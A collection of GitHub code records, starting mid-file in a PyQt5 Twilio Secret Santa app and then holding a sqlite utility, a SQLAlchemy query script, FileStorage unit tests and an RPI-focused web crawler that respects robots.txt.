fphone \\\r\n            + ', Name: ' + sName + ', Phone: ' + sphone\r\n\r\n        new_couple = Couple(fName, fphone, sName, sphone)\r\n        self.couple_list.append(new_couple)\r\n\r\n\r\n        self.list.addItem(couple_string)\r\n\r\n        self.couple_f_name.setText('')\r\n        self.couple_s_name.setText('')\r\n        self.couple_f_phone.setText('')\r\n        self.couple_s_phone.setText('')\r\n\r\n    def testingSelected(self, selected):\r\n      if selected:\r\n        self.testingBool = True\r\n        self.workingBool = False\r\n    \r\n    def workingSelected(self, selected):\r\n      if selected:\r\n        self.testingBool = False\r\n        self.workingBool = True\r\n\r\n    def sendMessage(self):\r\n      if(self.testingBool == True):\r\n        print(\"Testing mode\")\r\n\r\n        if not self.organiser.text():\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"No organiser field! Make sure you add that bad boy for all the credit! :)\")\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        # Check that couplex exist\r\n        if self.list.count() <= 1 :\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"You entered less than two couples... How you gonna do secret santa all by yourself?\")\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        print(\"No worries with fields\")\r\n\r\n        try:\r\n          for couple in self.couple_list:\r\n              for p in self.couple_list:\r\n                  if p.first_name != couple.first_name:\r\n                      if p not in couple.couple_pool:\r\n                          couple.addToCouplePool(p)\r\n        except Exception as e:\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"An error occured while making couple pools: \\n\",str(e))\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        print(\"Made couple pools\")\r\n\r\n        try:\r\n          for couple in self.couple_list:\r\n              random_couple = random.choice(couple.couple_pool)\r\n              couple.set_secretSanta(random_couple)\r\n\r\n              if couple in random_couple.couple_pool:\r\n                  random_couple.couple_pool.remove(couple)\r\n\r\n              for x in self.couple_list:\r\n                if random_couple in x.couple_pool:\r\n                  x.couple_pool.remove(random_couple)\r\n        except Exception as e:\r\n          dlg = QMessageBox(self)\r\n\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"An error occured while assigning secret santas to couples: \\n\",str(e))\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        print(\"Assigned secret santas\")\r\n\r\n        secret_santas_message = \"\"\r\n        for couple in self.couple_list:   \r\n          secret_santas_message += (\"Pretend message sent to (\" + couple.first_number + \"): \" + \"Merry Christmas \" + couple.first_name  +\r\n            \", your secret santa couple is: \" + couple.secretSanta.first_name + ' & ' + couple.secretSanta.second_name + \", sent by yours truly, \" + self.organiser.text() + \"\\n\")\r\n\r\n          secret_santas_message += (\"Pretend message sent to (\" + couple.second_number + \"): \" + \"Merry Christmas \" + couple.second_name  +\r\n            \", your secret santa couple is: \" + couple.secretSanta.first_name + ' & ' + couple.secretSanta.second_name + \", sent by yours truly, \" + self.organiser.text() + \"\\n\")\r\n\r\n        dlg = QMessageBox(self)\r\n        dlg.setWindowTitle(\"Merry Christmas!\")\r\n        dlg.setText(secret_santas_message)\r\n        dlg.resize(400,400)\r\n        button = dlg.exec()\r\n        if button == QMessageBox.Ok:\r\n          print(\"OK!\")\r\n          return\r\n        \r\n      if(self.workingBool):\r\n        print(\"Working mode\")\r\n        print(\"Got to the start of Send Message\")\r\n\r\n        if not self.account_sid.text() or not self.account_auth.text():\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"You've missed a field, make sure all details are there and try again :)\")\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        print(\"No worries with fields\")\r\n\r\n        self.client = Client(self.account_sid.text(),\r\n                              self.account_auth.text())\r\n\r\n        print(\"Client made\")\r\n\r\n        msid = self.messaging_sid.text()\r\n\r\n        print(\"Msid made\")\r\n\r\n        if self.list.count() <= 1 :\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"You entered less than two couples... How you gonna do secret santa all by yourself?\")\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        try:\r\n          for couple in self.couple_list:\r\n              for p in self.couple_list:\r\n                  if p.first_name != couple.first_name:\r\n                      if p not in couple.couple_pool:\r\n                          couple.addToCouplePool(p)\r\n        except Exception as e:\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"An error occured while making couple pools: \\n\",str(e))\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        print(\"Made couple pools\")\r\n\r\n        try:\r\n          for couple in self.couple_list:\r\n              random_couple = random.choice(couple.couple_pool)\r\n              couple.set_secretSanta(random_couple)\r\n\r\n              if couple in random_couple.couple_pool:\r\n                  random_couple.couple_pool.remove(couple)\r\n\r\n              for x in self.couple_list:\r\n                if random_couple in x.couple_pool:\r\n                  x.couple_pool.remove(random_couple)\r\n        except Exception as e:\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(str(e))\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            print(\"OK!\")\r\n            return\r\n\r\n        print(\"Assigned secret santas\")\r\n        \r\n        try:\r\n          for couple in self.couple_list:\r\n            print(\"Currently sending message for: \", couple.first_name)\r\n            couple.send_message(self.client, msid, self.organiser.text())\r\n        except Exception as e:\r\n          print_string = escape_ansi(str(e))\r\n          dlg = QMessageBox(self)\r\n          dlg.setWindowTitle(\"Error!\")\r\n          dlg.setText(\"An error occured while sending the messages\\n It's likely a phone number was wrong or the Twilio details were incorrect: \\n\" + print_string)\r\n          print(print_string)\r\n          button = dlg.exec()\r\n          if button == QMessageBox.Ok:\r\n            return\r\n\r\n        dlg = QMessageBox(self)\r\n        dlg.setWindowTitle(\"Success!\")\r\n        dlg.setText(\"The messages were sent successfully! Happy Secret Santa! Merry Christmas!\")\r\n        button = dlg.exec()\r\n        if button == QMessageBox.Ok:\r\n          print(\"OK!\")\r\n          return\r\n\r\n    def resetSS(self):\r\n      print(\"Clicked\")\r\n      self.couple_f_name.setText('')\r\n      self.couple_s_name.setText('')\r\n      self.couple_f_phone.setText('')\r\n      self.couple_s_phone.setText('')\r\n      self.account_sid.setText('')\r\n      self.account_auth.setText('')\r\n      self.messaging_sid.setText('')\r\n      self.couple_list.clear()\r\n      self.list.clear()\r\n      \r\n\r\n\r\napp = QApplication(sys.argv)\r\nform = Form()\r\nform.show()\r\napp.exec_()\r\n", "repo_name": "damonDevelops/python_projects", "sub_path": "secret_sata_program/couples/christmas_couple.py", "file_name": "christmas_couple.py", "file_ext": "py", "file_size_in_byte": 17238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "re.compile", "line_number": 67, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 93, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 93, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 95, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 100, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 104, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 113, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 117, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 117, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 119, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 122, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 122, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 124, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 127, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 127, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 133, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 145, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 150, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 154, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 161, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 166, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 171, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 213, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 213, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 216, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 220, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 234, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 238, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 238, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 252, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 256, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 256, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 297, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 301, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 301, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 307, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 311, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 311, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 324, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 328, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 328, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 336, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 346, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 351, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 351, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 365, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 370, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 370, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 379, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 383, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 383, "usage_type": "name"}, {"api_name": "twilio.rest.Client", "line_number": 389, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 399, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 403, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 403, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 414, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 418, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 418, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 426, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 436, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 440, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 440, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 452, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 457, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 457, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 460, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 464, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 464, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 482, "usage_type": "attribute"}]}
{"seq_id": "30583567216", "text": "\"\"\"Universal utility\"\"\"\n\nfrom typing import Any\n\nfrom ._utils import AttrDict\nfrom .typings import Queries\n\n# ! Please separate the imports of universal (public util) from core util!\n# ! Make sure _utils.py does not import any from this package!\n\ndef crunch(query: Queries | list[dict[str, Any]]) -> AttrDict[str, list[Any]]: # type: ignore\n    \"\"\"Crunch queries into AttrDict that all of its value become a list.\"\"\"\n    data: dict[str, list[Any]] = AttrDict()\n    for value in query:\n        for key, val in value.items():\n            if key not in data:\n                data[key] = []\n            data[key].append(val)\n    return data\n", "repo_name": "RimuEirnarn/sqlite_database", "sub_path": "sqlite_database/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typings.Queries", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 13, "usage_type": "name"}, {"api_name": "_utils.AttrDict", "line_number": 13, "usage_type": "call"}, {"api_name": "_utils.AttrDict", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "72658010825", "text": "#!/usr/bin/python3\n\"\"\" All objects \"\"\"\nfrom sys import argv\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import sessionmaker\nfrom model_city import City\nfrom model_state import Base, State\n\n\ndef main():\n    engine = create_engine('mysql+mysqldb://{}:{}@localhost/{}'.format\n                           (argv[1], argv[2], argv[3]),\n                           pool_pre_ping=True)\n    Base.metadata.create_all(engine)\n\n    Session = sessionmaker(bind=engine)\n    session = Session()\n\n    query = session.query(State.name, City.id, City.name)\\\n                   .join(City, City.state_id == State.id)\\\n                   .order_by(City.id)\n    for var in query.all():\n        print(\"{}: ({}) {}\".format(var[0], var.id, var[2]))\n\n    session.close()\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "cristian0497/High-Level-Programming", "sub_path": "0x0F-python-object_relational_mapping/14-model_city_fetch_by_state.py", "file_name": "14-model_city_fetch_by_state.py", "file_ext": "py", "file_size_in_byte": 798, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "name"}, {"api_name": "model_state.Base.metadata.create_all", "line_number": 14, "usage_type": "call"}, {"api_name": "model_state.Base.metadata", "line_number": 14, "usage_type": "attribute"}, {"api_name": "model_state.Base", "line_number": 14, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 16, "usage_type": "call"}, {"api_name": "model_city.City", "line_number": 20, "usage_type": "argument"}, {"api_name": "model_state.State.name", "line_number": 19, "usage_type": "attribute"}, {"api_name": "model_state.State", "line_number": 19, "usage_type": "name"}, {"api_name": "model_city.City.id", "line_number": 19, "usage_type": "attribute"}, {"api_name": "model_city.City", "line_number": 19, "usage_type": "name"}, {"api_name": "model_city.City.name", "line_number": 19, "usage_type": "attribute"}, {"api_name": "model_city.City.state_id", "line_number": 20, "usage_type": "attribute"}, {"api_name": "model_state.State.id", "line_number": 20, "usage_type": "attribute"}, {"api_name": "model_state.State", "line_number": 20, "usage_type": "name"}, {"api_name": "model_city.City.id", "line_number": 21, "usage_type": "attribute"}, {"api_name": "model_city.City", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "34373099120", "text": "#!/usr/bin/python3\n\n\"\"\"\nTests for the base_model class\n\"\"\"\n\nimport json\nfrom unittest import TestCase\n\nfrom models.engine.file_storage import FileStorage\nfrom models.base_model import BaseModel\nimport os\n\n\nclass TestFileStorage(TestCase):\n\n    def tearDown(self) -> None:\n        \"\"\"Tears down the test\"\"\"\n        try:\n            os.remove(FileStorage._FileStorage__file_path)\n        except FileNotFoundError:\n            pass\n\n    def setUp(self) -> None:\n        \"\"\"Sets up the test\"\"\"\n        FileStorage._FileStorage__objects = {}\n        FileStorage._FileStorage__file_path = \"file.json\"\n\n    def test_all(self):\n        \"\"\"Tests the all method\"\"\"\n        fs = FileStorage()\n        self.assertEqual(fs.all(), {})\n\n    def test_new(self):\n        \"\"\"Tests the new method\"\"\"\n        fs = FileStorage()\n        bm = BaseModel()\n        fs.new(bm)\n        self.assertDictEqual(\n            fs.all(), {\"BaseModel.{}\".format(bm.id): bm.to_dict()})\n\n    def test_save(self):\n        \"\"\"Tests the save method\"\"\"\n        fs = FileStorage()\n        bm = BaseModel()\n        fs.new(bm)\n        fs.save()\n        with open(fs._FileStorage__file_path, \"r\") as f:\n            content = f.read()\n            loaded = json.loads(content)\n            self.assertDictEqual(\n                loaded, {\"BaseModel.{}\".format(bm.id): bm.to_dict()})\n\n    def test_empty_save(self):\n        \"\"\"Tests the save method with no objects\"\"\"\n        fs = FileStorage()\n        fs.save()\n        with open(fs._FileStorage__file_path, \"r\") as f:\n            content = f.read()\n            loaded = json.loads(content)\n            self.assertDictEqual(loaded, {})\n\n    def test_reload(self):\n        \"\"\"Tests the reload method\"\"\"\n        fs = FileStorage()\n        bm = BaseModel()\n        fs.new(bm)\n        fs.save()\n        fs.reload()\n        self.assertEqual(\n            fs.all(), {\"BaseModel.{}\".format(bm.id): bm.to_dict()})\n\n    def test_reload_no_file(self):\n        \"\"\"Tests the reload method with no file\"\"\"\n        fs = FileStorage()\n        fs.reload()\n        self.assertEqual(fs.all(), {})\n    \n    def test_reload_empty_file(self):\n        \"\"\"Tests the reload method with an empty file\"\"\"\n        fs = FileStorage()\n        with open(fs._FileStorage__file_path, \"w\") as f:\n            f.write(\"\")\n        fs.reload()\n        self.assertEqual(fs.all(), {})\n    \n    def test_reloaded_objects_are_same_as_create(self):\n        \"\"\"Tests that reloaded objects are the same as the created objects\"\"\"\n        \"\"\"\n        Tests that reloaded objects are the same as the created objects\n        \"\"\"\n        fs = FileStorage()\n        bm = BaseModel()\n        fs.new(bm)\n        fs.save()\n        fs.reload()\n        self.assertEqual(\n            fs.all()[\"BaseModel.{}\".format(bm.id)][\"id\"], bm.id)\n        self.assertEqual(\n            fs.all()[\"BaseModel.{}\".format(bm.id)][\"created_at\"],\n            bm.created_at.isoformat())\n        self.assertEqual(\n            fs.all()[\"BaseModel.{}\".format(bm.id)][\"updated_at\"],\n            bm.updated_at.isoformat())\n        self.assertEqual(\n            fs.all()[\"BaseModel.{}\".format(bm.id)][\"__class__\"],\n            bm.__class__.__name__)\n", "repo_name": "devvspaces/AirBnB_clone", "sub_path": "tests/test_models/test_engine/test_file_storage.py", "file_name": "test_file_storage.py", "file_ext": "py", "file_size_in_byte": 3169, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 15, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 20, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage._FileStorage__file_path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 20, "usage_type": "name"}, {"api_name": "models.engine.file_storage.FileStorage._FileStorage__objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 26, "usage_type": "name"}, {"api_name": "models.engine.file_storage.FileStorage._FileStorage__file_path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 27, "usage_type": "name"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 31, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 36, "usage_type": "call"}, {"api_name": "models.base_model.BaseModel", "line_number": 37, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 44, "usage_type": "call"}, {"api_name": "models.base_model.BaseModel", "line_number": 45, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 50, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 56, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 60, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 65, "usage_type": "call"}, {"api_name": "models.base_model.BaseModel", "line_number": 66, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 75, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 81, "usage_type": "call"}, {"api_name": "models.engine.file_storage.FileStorage", "line_number": 92, "usage_type": "call"}, {"api_name": "models.base_model.BaseModel", "line_number": 93, "usage_type": "call"}]}
{"seq_id": "14692782179", "text": "import requests\nimport os\nfrom bs4 import BeautifulSoup\nimport datetime\nfrom datetime import timedelta\nimport re\n# A list containing all regex that we consider relevant to RPI. A webpage with text or links that contains\n# One of these regex will be considered relevant to RPI. Otherwise, it will be considered not relevant.\n# All letters in these regexes in the list should be lowercase, the matching is case insensitive\nRPIRelevantRegexes = [r'[^a-zA-Z]rpi[^a-zA-Z]', r'[^a-zA-Z]rensselaer[^a-zA-Z]', r'[^a-zA-Z]sis[^a-zA-Z]']\n\n\n# Input: a string representing the URL\n# Output: None\n# Modifies: The given dict json. Initially empty, json will be made to match the following pattern\n# inner-link: https://www.cs.rpi.edu/~goldsd/index.php,\n# status-code: 404,\n# outbound-links: [https://science.rpi.edu/computer-science/programs/undergrad/bs-computerscience],\n# plain-text: This is all the plain text not rly tho,\n# recrawl-date: 01-01-2020\n# inner-link: The given URL\n# status-code contains the status code that results from querying the given URL\n# outbound-links: contains all links that are on webpage queried from the given URL\n# plain-text: contains all the plaintext that is on the webpage queried from the given URL\n# recrawl-date: The date on which the webpage should be recrawled\n# If the code fails midway through, the json will not be properly updated and will contain all Nones\n# The parent process will know the crawl failed\ndef crawl(url, json):\n    try:\n\n        # If the webpage couldn't be reached, don't try and parse it, just set the status code and return\n        r = requests.get(url)\n        if r.status_code != 200:\n            populate_json(json, url, [], r.status_code, None, None)\n            return\n\n        # Grab the text, disallowed links, and embedded links from the webpage\n        disallow_list = crawl_robots(url)\n        crawled_links = []\n        soup = BeautifulSoup(r.content, 'html.parser')\n        links = soup.find_all('a')\n        text = soup.getText()\n\n        # Only place non-disallowed links in the list of embedded links\n        for link in links:\n            if link.has_attr('href'):\n                link_url = link['href']\n                link_allowed = 1\n                for disallowedLink in disallow_list:\n                    if disallowedLink in link_url:\n                        link_allowed = 0\n                if link_allowed == 1:\n                    crawled_links.append(link_url)\n\n        # If the page is RPI relevant, set insert the scraped data into the json\n        if rpi_relevance_check(url, text, crawled_links) == 1:\n            populate_json(json, url, crawled_links, r.status_code, text, find_recrawl_date())\n\n        # If the page isn't RPI relevant, set the status code to a custom error and don't use the scraped data\n        else:\n            populate_json(json, url, [], 600, None, None)\n\n    # If there was a error connecting to the webpage, set the status code another custom error\n    except requests.exceptions.ConnectionError:\n        populate_json(json, url, [], 602, None, None)\n\n# Input: a dict representing an empty json file\n#   inner-link: The given URL\n#   status-code contains the status code that results from querying the given URL\n#   outbound-links: contains all links that are on webpage queried from the given URL\n#   plain-text: contains all the plaintext that is on the webpage queried from the given URL\n#   recrawl-date: The date on which the webpage should be recrawled\n# Output: None\n# Modifies: json, adds the given information to the given json object\n# Given an empty json file, add the other input parameters to the given json. Basically processes the scraped data into the json to be sent to Link Analysis\ndef populate_json(json, innerLink, outboundLinks, statusCode, plainText, recrawlDate):\n    json[\"inner-link\"] = innerLink\n    json[\"outbound-links\"] = outboundLinks\n    json[\"status-code\"] = statusCode\n    json[\"plain-text\"] = plainText\n    json[\"recrawl-date\"] = recrawlDate\n\n# Input: a string representing the source URL\n# Output: a list of all links that are disallowed by robots.txt\n# Modifies: nothing\n# Transform the given URL into a URL which should lead to the robots.txt file of the webpage, if the robots.txt exists.\n# If robots.txt does exist, parse it for all links that are disallowed.\n# These links will be added to a list and returned.\n# If robots.txt does not exist, or if it contains no disallowed links, return an empty list.\n# No links will be disallowed.\n# Disallowed links will not be included in the list of inner-links sent to Document Data Storage\ndef crawl_robots(url):\n\t\n    disallow_list = []\n    \n    try:\n        split_url = url.split(\"/\")\n        robots_link = split_url[0] + \"/\" + split_url[1] + \"/\" + split_url[2] + \"/robots.txt\"\n\n        # Scrape all the disallowed links from robots.txt\n        f = requests.get(robots_link)\n        for line in f.iter_lines():\n            decoded = line.decode()\n            if \"Disallow:\" in decoded:\n                disallow_line = decoded.split(\"Disallow:\")[1].strip()\n                disallow_list.append(disallow_line)\n    \n    except:\n        print(\"crawl_robots failed unexpectedly\")\n    \n    return disallow_list\n\n\n# Input: a string representing the source URL\n# Output: The date on which the given URL will need to be recrawled\n# Modifies: nothing\n# Transforms the give URL into a URL which should lead to the sitemap.xml file of the webpage, if the sitemap exists.\n# If the sitemap does exist, parse it for the date the webpage was lost modified at the change frequency.\n# Add the change frequency to the last modified date. This is the date on which the webpage will need to be recrawled.\n# If the last modified date cannot be found, use the current date. If the change frequency cannot be found, use 1 month.\n# If the sitemap doesn't exist, use the defaults above (so return one month later than the current date).\n# NOTE: IF CODE IS UNCOMMENTED, find_recrawl_date MUST REQUEST A URL. i.e. find_recrawl_date(url)\ndef find_recrawl_date():\n    return datetime.datetime.now() + timedelta(days=30)\n\n\n# Input: a string representing the source URL\n# \t\t a string representing the plaintext\n# \t\t a list of strings representing the links scraped from the source URL\n# Output: an integer that represents if the crawled link and plaintext are 'RPI related'.\n#   0: they aren't, 1: they are: -1 error\n# Modifies: Nothing\n# Loop through the list RPIRelevantWords. If any of these words appear in the plaintext, source link or scraped links\n# The page is RPI relevant. If these words don't appear, it's not.\n# Non-relevant webpages should not be send to Document Data Storage to be stored.\ndef rpi_relevance_check(url, plaintext, links):\n    for relevantRegex in RPIRelevantRegexes:\n        if re.search(relevantRegex, url.lower()):\n            return 1\n\n        if re.search(relevantRegex, plaintext.lower()):\n            return 1\n\n        for link in links:\n            if re.search(relevantRegex, link.lower()):\n                return 1\n    return 0\n\n\n# This main is used for local testing purposes and should be removed/commented out for final implementation\n#if __name__ == '__main__':\n    # p = Process(target=child, args(URL))\n    # p.start()\n    # p.join()\n    #json2 = dict()\n    #crawl(\"https://science.rpi.edu/computer-science\", json2)\n    #print(json2[\"inner-link\"])\n    #print(json2[\"outbound-links\"])\n    #print(json2[\"status-code\"])\n    #print(json2[\"plain-text\"])\n    #print(json2[\"recrawl-date\"])\n", "repo_name": "jchulton/lsptp2", "sub_path": "soup.py", "file_name": "soup.py", "file_ext": "py", "file_size_in_byte": 7491, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 32, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 64, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 101, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 124, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 124, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 124, "usage_type": "call"}, {"api_name": "re.search", "line_number": 138, "usage_type": "call"}, {"api_name": "re.search", "line_number": 141, "usage_type": "call"}, {"api_name": "re.search", "line_number": 145, "usage_type": "call"}]}
